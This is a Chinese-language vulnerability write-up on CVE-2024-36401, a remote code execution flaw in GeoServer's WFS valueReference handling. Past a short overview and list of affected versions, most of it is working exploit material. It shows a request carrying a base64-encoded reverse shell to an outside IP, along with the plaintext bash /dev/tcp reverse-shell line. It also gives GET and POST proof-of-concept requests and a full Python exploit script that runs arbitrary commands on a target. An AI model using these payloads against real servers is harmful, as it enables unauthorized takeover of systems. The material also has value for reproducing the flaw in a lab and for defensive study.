0%

CVE-2024-36104

CVE-2024-36401

一、概述

CVE-2024-36401 是 GeoServer 中存在的高危远程代码执行(RCE)漏洞,由 GeoTools 库 在处理 WFS(Web Feature Service)请求时对 valueReference 参数未正确过滤引发。攻击者可通过构造恶意 XPath 表达式,利用 java.lang.Runtime.getRuntime() 执行任意系统命令,进而完全控制目标服务器

-

影响版本

  • GeoServer < 2.23.6

  • 2.24.0 ≤ GeoServer < 2.24.4

  • 2.25.0 ≤ GeoServer < 2.25.2

  • 漏洞根源:GeoTools 库将属性名称传递给 Apache Commons JXPath 库时未安全处理,导致 XPath 表达式注入

二、分析

(1)技术原理

  • 触发路径:通过 WFS 请求的 valueReference 参数注入恶意代码。
  • 依赖组件commons-jxpath 库(存在 CVE-2022-41852 漏洞)的不安全解析
    ​(2)攻击特征​
  • 请求方式:支持 GET 和 POST 请求,常见于 /geoserver/wfs 接口
  • 利用条件typeNames 必须为有效图层名称(如 sf:archsites),可从 GeoServer 管理界面获取

三、复现

这个漏洞复现需要一台具有公网ip的服务器,执行命令是没有回显的,也可以尝试别的方法,但是我尝试dnslog数据外带没有用处,构造数据包

1
2
3
4
5
6
7
8
9
10
11
POST /geoserver/wfs HTTP/1.1
Host: <target>:8080
Content-Type: application/xml
Content-Length: 342

<wfs:GetPropertyValue service="WFS" version="2.0.0" xmlns:wfs="http://www.opengis.net/wfs/2.0">
<wfs:Query typeNames="sf:archsites"/>
<wfs:valueReference>exec(java.lang.Runtime.getRuntime(),"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMy44MC4xNS84ODg5IDA+JjE=}|{base64,-d}|{bash,-i}")</wfs:valueReference>
</wfs:GetPropertyValue>

bash -i >& /dev/tcp/47.122.156.204/8889 0>&1

image-20250714184221717

看到这个报错就意味着命令已经成功执行

img

各种poc如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
GET请求

GET /geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),'touch%20/tmp/success1') HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0
其中get版本的typename必须是存在的,我们可以在Web页面中找到当前服务器中的所有Types:
/geoserver/web/wicket/bookmarkable/org.geoserver.web.demo.MapPreviewPage?1&filter=false


POST请求

POST /geoserver/wfs HTTP/1.1
Host: 192.168.67.158:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/xml
Content-Length: 341

<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'>
<wfs:Query typeNames='sf:archsites'/>
<wfs:valueReference>exec(java.lang.Runtime.getRuntime(),"calc")</wfs:valueReference>
</wfs:GetPropertyValue>

python版本的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import sys
import requests

#proxy={'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
proxy = None

def send_post_request(url, command):
data = """<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'>
<wfs:Query typeNames='sf:archsites'/>
<wfs:valueReference>exec(java.lang.Runtime.getRuntime(),"%s")</wfs:valueReference>
</wfs:GetPropertyValue>
""" % command

host = url.replace('http://', '').replace('https://', '').rstrip('/')
headers = {
'Host': '%s' % host,
'Accept-Encoding': 'gzip, deflate, br',
'Accept': '*/*',
'Accept-Language': 'en-US;q=0.9,en;q=0.8',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36',
'Connection': 'close',
'Cache-Control': 'max-age=0',
'Content-Type': 'application/xml',
'Content-Length': str(len(data)) # 数据长度
}
try:
response = requests.post(url+'/geoserver/wfs', data=data, headers=headers, proxies=proxy, timeout=15)
if response.status_code == 400 and 'java.lang.ClassCastException' in response.text:
print('[*]漏洞利用成功')
print('响应码:%s' % response.status_code)
print('响应体:\n%s' % response.text)

except requests.exceptions.RequestException as e:
print(f"An error occurred: {e}")

if __name__ == "__main__":
if len(sys.argv) != 3:
print("Usage: python3 poc.py <url> <command>")
sys.exit(1)

url = sys.argv[1]
command = sys.argv[2]

print('CVE-2024-36401 Geoserver远程代码执行漏洞EXP')
send_post_request(url.rstrip('/'), command)